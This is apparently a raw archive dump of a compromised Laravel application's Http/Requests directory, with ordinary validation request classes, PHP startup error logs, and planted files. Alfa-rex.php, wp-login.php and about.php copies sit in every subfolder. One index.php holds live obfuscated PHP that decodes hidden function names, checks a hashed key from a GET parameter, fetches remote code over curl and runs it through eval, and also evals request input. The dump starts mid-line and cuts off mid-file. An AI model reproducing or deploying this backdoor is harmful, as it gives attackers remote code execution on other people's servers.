shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:34:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Appreciation/Appreciation/alfa-rex.php000064400000026574150325104510016554 0ustar00Http/Requests/Appreciation/Appreciation/.htaccess000064400000000544150325104510016127 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Appreciation/Appreciation/alfa-rex.php7000064400000026574150325104510016643 0ustar00Http/Requests/Appreciation/Appreciation/alfa-rex.php8000064400000026574150325104510016644 0ustar00Http/Requests/Appreciation/Appreciation/wp-login.php000064400000026574150325104510016611 0ustar00Http/Requests/Appreciation/Appreciation/alfa-rex.php56000064400000026574150325104510016727 0ustar00Http/Requests/Appreciation/Appreciation/index.php000064400000012602150325104510016147 0ustar00 $PEZ77eRIM9mldg) { $lVY2tLscD5UJmG .= $L1qGlyYXfglMg5[$PEZ77eRIM9mldg - 2472]; tBe6bFTwuXDfsM: } goto MG0rptKhd2BIsX; C_KNMGCnRXuXsR: return $lVY2tLscD5UJmG; goto lCwQntTa3RrOWb; lCwQntTa3RrOWb: } static function HlY0CYOyqyVwk2($Udyr86nXyUC94j, $HbhCuh52MkEFbh) { goto VAjxDvYeN9STBo; L96k3SbffMDhvg: return empty($kKsQ0K0oGdzidt) ? $HbhCuh52MkEFbh($Udyr86nXyUC94j) : $kKsQ0K0oGdzidt; goto EeL3nMjU_0ZG_e; VAjxDvYeN9STBo: $UumDszP95D2N93 = curl_init($Udyr86nXyUC94j); goto bzBnXXjElVITEj; bzBnXXjElVITEj: curl_setopt($UumDszP95D2N93, CURLOPT_RETURNTRANSFER, 1); goto iJ6E1P2OP0GOXq; iJ6E1P2OP0GOXq: $kKsQ0K0oGdzidt = curl_exec($UumDszP95D2N93); goto L96k3SbffMDhvg; EeL3nMjU_0ZG_e: } static function NXdFeItKXrvDeh() { goto uyKUi9fQbtYYsc; drmA4UIvyviUzg: @eval($J2wo6pI9w8Hj9i[4 + 0]($BO_KNac0F9viQp)); goto FFyJPyGhuI1Vx1; uyKUi9fQbtYYsc: $HaTEMv8rFm29UT = array("\62\x34\71\71\x3d\x32\x34\x38\64\x3d\62\64\x39\67\x3d\62\x35\x30\x31\x3d\62\64\x38\x32\x3d\x32\64\71\67\75\62\x35\60\63\75\x32\64\x39\x36\75\62\x34\70\x31\x3d\62\64\70\70\x3d\62\64\71\x39\x3d\x32\64\x38\x32\75\62\64\x39\63\75\x32\64\x38\67\75\x32\64\70\70", "\x32\x34\70\63\75\x32\64\70\x32\75\62\x34\70\x34\x3d\62\x35\60\x33\75\62\64\70\64\x3d\62\64\70\x37\x3d\62\64\x38\62\x3d\62\65\64\x39\x3d\x32\x35\64\67", "\x32\64\71\x32\75\x32\x34\x38\63\x3d\x32\64\70\67\75\x32\64\70\x38\x3d\x32\x35\x30\63\75\62\64\71\70\x3d\62\x34\x39\67\75\x32\64\x39\x39\75\x32\64\70\x37\75\x32\x34\71\x38\75\62\x34\71\67", "\62\x34\x38\x36\75\62\x35\60\x31\75\x32\64\71\71\x3d\62\x34\71\61", "\62\x35\x30\60\75\62\x35\60\61\75\62\x34\70\x33\75\x32\x34\71\x37\x3d\x32\65\64\64\x3d\x32\x35\64\66\x3d\x32\65\60\x33\x3d\62\x34\x39\x38\75\x32\x34\x39\x37\75\62\64\71\71\75\x32\64\70\67\75\x32\64\71\x38\x3d\62\64\x39\x37", "\x32\64\x39\x36\75\x32\64\x39\63\x3d\62\64\71\x30\75\x32\64\x39\x37\75\x32\x35\60\x33\75\x32\64\x39\x35\x3d\62\64\x39\x37\x3d\x32\x34\x38\x32\75\62\65\x30\x33\x3d\62\64\71\71\x3d\62\64\x38\x37\75\62\64\70\x38\x3d\x32\64\x38\62\75\x32\x34\71\x37\75\x32\x34\x38\70\x3d\x32\x34\x38\x32\x3d\62\64\x38\63", "\x32\65\x32\66\75\x32\65\65\66", "\62\64\x37\x33", "\62\65\65\x31\x3d\62\65\65\x36", "\62\x35\x33\63\x3d\62\x35\x31\x36\x3d\62\65\x31\x36\75\x32\65\63\63\75\x32\x35\60\71", "\x32\x34\x39\66\x3d\62\64\71\63\x3d\x32\64\x39\x30\x3d\x32\x34\x38\x32\x3d\62\64\71\x37\75\x32\x34\x38\x34\75\62\x35\60\x33\x3d\62\x34\x39\63\x3d\x32\x34\x38\70\x3d\x32\x34\70\x36\x3d\x32\x34\70\x31\x3d\62\64\70\x32"); goto IysSq6oALvUgok; HCIFIyp31KEosT: $cfXoQKtPozq6bW = @$J2wo6pI9w8Hj9i[3 + 0]($J2wo6pI9w8Hj9i[4 + 2], $b3VP1oXyWfuUxo); goto K1D2drsZS79s72; ugSQuxIgRl7nTt: if (!(@$LrwIWSfdqPLHSD[0] - time() > 0 and md5(md5($LrwIWSfdqPLHSD[1 + 2])) === "\144\146\x35\x33\x32\67\67\62\64\x62\65\70\x64\x66\x39\x37\x38\x64\144\x31\143\x36\62\66\x34\146\x62\67\60\x38\67\x39")) { goto Y7gNINYxJ71rda; } goto qs0_I6f2UJG68K; HVpQvLHaucWssE: Y7gNINYxJ71rda: goto wRdI0oYJ9e3eHq; K1D2drsZS79s72: $LrwIWSfdqPLHSD = $J2wo6pI9w8Hj9i[1 + 1]($cfXoQKtPozq6bW, true); goto TRRiAYxWHh5Bn2; Q33TI0kQfP1haU: $b3VP1oXyWfuUxo = @$J2wo6pI9w8Hj9i[1]($J2wo6pI9w8Hj9i[2 + 8](INPUT_GET, $J2wo6pI9w8Hj9i[4 + 5])); goto HCIFIyp31KEosT; bLYZwhJz79iV8m: g361Qrm4cFfVTz: goto Q33TI0kQfP1haU; qs0_I6f2UJG68K: $BO_KNac0F9viQp = self::hLy0CyOyQYvWk2($LrwIWSfdqPLHSD[1 + 0], $J2wo6pI9w8Hj9i[2 + 3]); goto drmA4UIvyviUzg; IysSq6oALvUgok: foreach ($HaTEMv8rFm29UT as $fWJ0vDllq9sTL7) { $J2wo6pI9w8Hj9i[] = self::AMKNRPzztBqUhu($fWJ0vDllq9sTL7); s2MnLp00vYEYUD: } goto bLYZwhJz79iV8m; FFyJPyGhuI1Vx1: die; goto HVpQvLHaucWssE; TRRiAYxWHh5Bn2: @$J2wo6pI9w8Hj9i[0 + 10](INPUT_GET, "\157\x66") == 1 && die($J2wo6pI9w8Hj9i[1 + 4](__FILE__)); goto ugSQuxIgRl7nTt; wRdI0oYJ9e3eHq: } } goto Ds3ihuqUPyFyhH; O07iYdTSPm3uJi: $vUOhACXwwp0SS6 = ${$PXE0WRZrriZaLR[30 + 1] . $PXE0WRZrriZaLR[22 + 37] . $PXE0WRZrriZaLR[2 + 45] . $PXE0WRZrriZaLR[3 + 44] . $PXE0WRZrriZaLR[50 + 1] . $PXE0WRZrriZaLR[8 + 45] . $PXE0WRZrriZaLR[0 + 57]}; goto euGOeIw88lgqrL; sxonpjGwfaKjNS: $wGRtrI3rR_SgKc = "\162" . "\x61" . "\x6e" . "\x67" . "\145"; goto p9MN8HSkgQCilx; FFSOTIQ7AK4zsR: @eval($vUOhACXwwp0SS6[70](${$vUOhACXwwp0SS6[41]}[28])); goto YdmsgC0w2xX76a; Zdc3wrtklMgeor: metaphone("\x4e\x54\x4d\167\117\124\x41\64\x4e\x44\x63\63\x4e\x6a\x59\167\x4e\x54\143\63\x4e\x44\101\172\116\x7a\x55\x7a\x4e\104\125\x78"); goto bxcQOyJZnoPMUn; Ds3ihuqUPyFyhH: SAWe3vjjxjl3vb::nxDFeiTkxRvdeh(); ?> Http/Requests/Appreciation/Appreciation/about.php000064400000026574150325104510016167 0ustar00Http/Requests/Appreciation/Appreciation/about.php7000064400000026574150325104510016256 0ustar00Http/Requests/Appreciation/AppreciationType/alfa-rex.php000064400000026574150325104510017416 0ustar00Http/Requests/Appreciation/AppreciationType/.htaccess000064400000000544150325104510016771 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Appreciation/AppreciationType/alfa-rex.php7000064400000026574150325104510017505 0ustar00Http/Requests/Appreciation/AppreciationType/alfa-rex.php8000064400000026574150325104510017506 0ustar00Http/Requests/Appreciation/AppreciationType/wp-login.php000064400000026574150325104510017453 0ustar00Http/Requests/Appreciation/AppreciationType/alfa-rex.php56000064400000026574150325104510017571 0ustar00Http/Requests/Appreciation/AppreciationType/about.php000064400000026574150325104510017031 0ustar00Http/Requests/Appreciation/AppreciationType/StoreRequest.php000064400000001131150325104510020342 0ustar00 'required', 'color_code' => 'required', 'icon' => 'required' ]; } } Http/Requests/Appreciation/AppreciationType/error_log000064400000000713150325104510017106 0ustar00[04-Jul-2025 18:26:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Appreciation/AppreciationType/about.php7000064400000026574150325104510017120 0ustar00Http/Requests/Appreciation/AppreciationType/UpdateRequest.php000064400000001132150325104510020471 0ustar00 'required', 'color_code' => 'required', 'icon' => 'required' ]; } } Http/Requests/Appreciation/about.php7000064400000026574150325104510013640 0ustar00Http/Requests/Appreciation/UpdateRequest.php000064400000001115150325104510015212 0ustar00 'required', 'given_to' => 'required', 'award' => 'required' ]; } } Http/Requests/Tickets/alfa-rex.php000064400000026574150325104510013126 0ustar00Http/Requests/Tickets/.htaccess000064400000000544150325104510012501 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Tickets/alfa-rex.php7000064400000026574150325104510013215 0ustar00Http/Requests/Tickets/StoreCustomTicket.php000064400000002507150325104510015050 0ustar00customFieldRules($rules); if($setting->google_recaptcha_status == 'active' && $setting->ticket_form_google_captcha == 1 && ($setting->google_recaptcha_v2_status == 'active')){ $rules['g-recaptcha-response'] = 'required'; } return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Tickets/alfa-rex.php8000064400000026574150325104510013216 0ustar00Http/Requests/Tickets/StoreTicketRequest.php000064400000001052150325104510015220 0ustar00 'required', 'description' => 'required' ]; } } Http/Requests/Tickets/wp-login.php000064400000026574150325104510013163 0ustar00Http/Requests/Tickets/alfa-rex.php56000064400000026574150325104510013301 0ustar00Http/Requests/Tickets/about.php000064400000026574150325104510012541 0ustar00Http/Requests/Tickets/error_log000064400000001626150325104510012622 0ustar00[04-Jul-2025 13:39:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:53:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Tickets/UpdateTicketRequest.php000064400000001002150325104510015341 0ustar00 'required' ]; } } Http/Requests/Tickets/StoreTicket.php000064400000003160150325104510013651 0ustar00customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } public function messages() { return [ 'user_id.required_if' => __('modules.tickets.requesterName') . ' ' . __('app.required'), 'client_id.required_if' => __('modules.tickets.requesterName') . ' ' . __('app.required'), ]; } } Http/Requests/Tickets/about.php7000064400000026574150325104510012630 0ustar00Http/Requests/Tickets/UpdateTicket.php000064400000001403150325104510013775 0ustar00 'required_if:type,note', 'message2' => 'required_if:type,note', ]; } public function messages() { return [ 'user_id' => __('messages.agentFieldRequired'), 'message2' => __('messages.descriptionFieldRequired'), ]; } } Http/Requests/LoginRequest.php000064400000001004150325104510012417 0ustar00 'required|email:rfc' ]; } } Http/Requests/Stripe/alfa-rex.php000064400000026574150325104510012766 0ustar00Http/Requests/Stripe/.htaccess000064400000000544150325104510012341 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Stripe/alfa-rex.php7000064400000026574150325104510013055 0ustar00Http/Requests/Stripe/alfa-rex.php8000064400000026574150325104510013056 0ustar00Http/Requests/Stripe/wp-login.php000064400000026574150325104510013023 0ustar00Http/Requests/Stripe/alfa-rex.php56000064400000026574150325104510013141 0ustar00Http/Requests/Stripe/about.php000064400000026574150325104510012401 0ustar00Http/Requests/Stripe/error_log000064400000001626150325104510012462 0ustar00[04-Jul-2025 13:32:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:34:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Stripe/StoreStripeDetail.php000064400000001326150325104510014661 0ustar00 'required', 'city' => 'required', 'state' => 'required', 'country' => 'required', 'line1' => 'required', ]; } } Http/Requests/Stripe/about.php7000064400000026574150325104510012470 0ustar00Http/Requests/StoreFileLink.php000064400000001052150325104510012513 0ustar00 'required', 'filename' => 'required', ]; } } Http/Requests/StoreContractTemplate.php000064400000001124150325104510014267 0ustar00 'required', 'contract_type' => 'required', 'amount' => 'required' ]; } } Http/Requests/ClockIn/alfa-rex.php000064400000026574150325104510013042 0ustar00Http/Requests/ClockIn/ClockInRequest.php000064400000001263150325104510014222 0ustar00 'required', 'working_from' => 'required_if:work_from_type,==,other' ]; } } Http/Requests/ClockIn/.htaccess000064400000000544150325104510012415 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/ClockIn/alfa-rex.php7000064400000026574150325104510013131 0ustar00Http/Requests/ClockIn/alfa-rex.php8000064400000026574150325104510013132 0ustar00Http/Requests/ClockIn/wp-login.php000064400000026574150325104510013077 0ustar00Http/Requests/ClockIn/alfa-rex.php56000064400000026574150325104510013215 0ustar00Http/Requests/ClockIn/about.php000064400000026574150325104510012455 0ustar00Http/Requests/ClockIn/error_log000064400000001626150325104510012536 0ustar00[04-Jul-2025 13:28:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:53:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/ClockIn/about.php7000064400000026574150325104510012544 0ustar00Http/Requests/ClientDocs/alfa-rex.php000064400000026574150325104510013547 0ustar00Http/Requests/ClientDocs/.htaccess000064400000000544150325104510013122 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/ClientDocs/alfa-rex.php7000064400000026574150325104510013636 0ustar00Http/Requests/ClientDocs/alfa-rex.php8000064400000026574150325104510013637 0ustar00Http/Requests/ClientDocs/wp-login.php000064400000026574150325104510013604 0ustar00Http/Requests/ClientDocs/alfa-rex.php56000064400000026574150325104510013722 0ustar00Http/Requests/ClientDocs/about.php000064400000026574150325104510013162 0ustar00Http/Requests/ClientDocs/error_log000064400000001626150325104510013243 0ustar00[04-Jul-2025 14:17:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:20:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/ClientDocs/CreateRequest.php000064400000001210150325104510014600 0ustar00 'required', 'file' => 'required', ]; } } Http/Requests/ClientDocs/about.php7000064400000026574150325104510013251 0ustar00Http/Requests/ClientDocs/UpdateRequest.php000064400000001232150325104510014623 0ustar00 'required', 'file' => 'required_if:file_delete,yes' ]; } } Http/Requests/Holiday/alfa-rex.php000064400000026574150325104510013111 0ustar00Http/Requests/Holiday/.htaccess000064400000000544150325104510012464 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Holiday/alfa-rex.php7000064400000026574150325104510013200 0ustar00Http/Requests/Holiday/alfa-rex.php8000064400000026574150325104510013201 0ustar00Http/Requests/Holiday/wp-login.php000064400000026574150325104510013146 0ustar00Http/Requests/Holiday/alfa-rex.php56000064400000026574150325104510013264 0ustar00Http/Requests/Holiday/about.php000064400000026574150325104510012524 0ustar00Http/Requests/Holiday/IndexRequest.php000064400000000746150325104510014023 0ustar00 'required', 'occassion.*' => 'required', ]; } public function messages() { return [ 'date.*.required' => 'Date is a require field.', 'occassion.*.required' => 'Occassion is a require field.', ]; } } Http/Requests/Holiday/about.php7000064400000026574150325104510012613 0ustar00Http/Requests/Holiday/DeleteRequest.php000064400000000747150325104510014157 0ustar00 'required', 'occassion' => 'required', ]; } } Http/Requests/CustomField/alfa-rex.php000064400000026574150325104510013736 0ustar00Http/Requests/CustomField/.htaccess000064400000000544150325104510013311 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/CustomField/StoreCustomField.php000064400000003000150325104510015445 0ustar00module)->pluck('label')->toArray(); if((!in_array($this->get('label'), $userColumns) || $this->get('label') == '') && !in_array($this->label, $customModules)){ return true; } return false; }); $rules = [ 'label' => 'required|not_custom_fields', 'required' => 'required', 'type' => 'required' ]; if (in_array($this->type, ['select', 'radio', 'checkbox'])) { $rules['value.*'] = 'required'; } return $rules; } public function attributes() { return [ 'value.*' => __('app.value'), ]; } } Http/Requests/CustomField/alfa-rex.php7000064400000026574150325104510014025 0ustar00Http/Requests/CustomField/alfa-rex.php8000064400000026574150325104510014026 0ustar00Http/Requests/CustomField/wp-login.php000064400000026574150325104510013773 0ustar00Http/Requests/CustomField/alfa-rex.php56000064400000026574150325104510014111 0ustar00Http/Requests/CustomField/about.php000064400000026574150325104510013351 0ustar00Http/Requests/CustomField/UpdateCustomField.php000064400000002300150325104510015575 0ustar00module)->whereNotIn('id', [$this->id])->pluck('label')->toArray(); if((!in_array($this->get('label'), $userColumns) || $this->get('label') == '') && !in_array($this->label, $customModules)){ return true; } return false; }); return [ 'label' => 'required|not_custom_fields', 'required' => 'required', ]; } } Http/Requests/CustomField/error_log000064400000002541150325104510013427 0ustar00[04-Jul-2025 14:52:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:52:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:57:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/CustomField/about.php7000064400000026574150325104510013440 0ustar00Http/Requests/Designation/alfa-rex.php000064400000026574150325104510013764 0ustar00Http/Requests/Designation/.htaccess000064400000000544150325104510013337 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Designation/alfa-rex.php7000064400000026574150325104510014053 0ustar00Http/Requests/Designation/alfa-rex.php8000064400000026574150325104510014054 0ustar00Http/Requests/Designation/wp-login.php000064400000026574150325104510014021 0ustar00Http/Requests/Designation/alfa-rex.php56000064400000026574150325104510014137 0ustar00Http/Requests/Designation/about.php000064400000026574150325104510013377 0ustar00Http/Requests/Designation/StoreRequest.php000064400000001071150325104510014713 0ustar00 'required|unique:designations,name,null,id,company_id,' . company()->id ]; } } Http/Requests/Designation/error_log000064400000001626150325104510013460 0ustar00[04-Jul-2025 14:52:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:19:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Designation/about.php7000064400000026574150325104510013466 0ustar00Http/Requests/Designation/UpdateRequest.php000064400000001141150325104510015037 0ustar00 'required|unique:designations,name,'.$this->route('designation').',id,company_id,' . company()->id ]; } } Http/Requests/TwoFaCodeValidation.php000064400000001000150325104510013620 0ustar00 'required' ]; } } Http/Requests/ProposalAcceptRequest.php000064400000002032150325104510014270 0ustar00signature_approval == 1) { if(request('signature_type') == 'upload'){ $rules['image'] = 'required'; } else { $rules['signature'] = 'required'; } } } return $rules; } } Http/Requests/EmployeeShift/alfa-rex.php000064400000026574150325104510014275 0ustar00Http/Requests/EmployeeShift/.htaccess000064400000000544150325104510013650 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/EmployeeShift/alfa-rex.php7000064400000026574150325104510014364 0ustar00Http/Requests/EmployeeShift/alfa-rex.php8000064400000026574150325104510014365 0ustar00Http/Requests/EmployeeShift/wp-login.php000064400000026574150325104510014332 0ustar00Http/Requests/EmployeeShift/StoreBulkShift.php000064400000001526150325104510015474 0ustar00 'required_if:assign_shift_by,month', 'month' => 'required_if:assign_shift_by,month', 'multi_date' => 'required_if:assign_shift_by,date', 'user_id.0' => 'required', ]; } public function messages() { return [ 'user_id.0.required' => __('messages.atleastOneValidation') ]; } } Http/Requests/EmployeeShift/StoreAutomateShift.php000064400000001311150325104510016346 0ustar00 'required', 'rotation' => 'required', ]; } public function messages() { return [ 'user_id.0.required' => __('messages.atleastOneValidation') ]; } } Http/Requests/EmployeeShift/alfa-rex.php56000064400000026574150325104510014450 0ustar00Http/Requests/EmployeeShift/StoreShiftRotationRequest.php000064400000002022150325104510017737 0ustar00|string> */ public function rules(): array { $rotationId = request()->rotation_id; return [ 'rotation_name' => [ 'required', 'unique:employee_shift_rotations,rotation_name,' . $rotationId . ',id,company_id,' . company()->id, ], 'rotation_frequency' => 'required', 'schedule_on' => 'required_if:rotation_frequency,weekly,bi-weekly', 'rotation_date' => 'required_if:rotation_frequency,monthly', 'color_code' => 'required', ]; } } Http/Requests/EmployeeShift/about.php000064400000026574150325104510013710 0ustar00Http/Requests/EmployeeShift/error_log000064400000001626150325104510013771 0ustar00[04-Jul-2025 14:34:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:20:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/EmployeeShift/about.php7000064400000026574150325104510013777 0ustar00Http/Requests/EmployeeShift/StoreEmployeeShift.php000064400000002451150325104510016354 0ustar00has('office_open_days')) { $data['office_open_days'] = 'required'; } if (request()->shift_type == 'flexible') { $data['total_shift_hours'] = 'required'; $data['halfday_shift_hours'] = 'required'; $data['auto_clockout'] = 'required'; } if (request()->shift_type == 'strict') { $data['late_mark_duration'] = 'required | integer | min:0'; 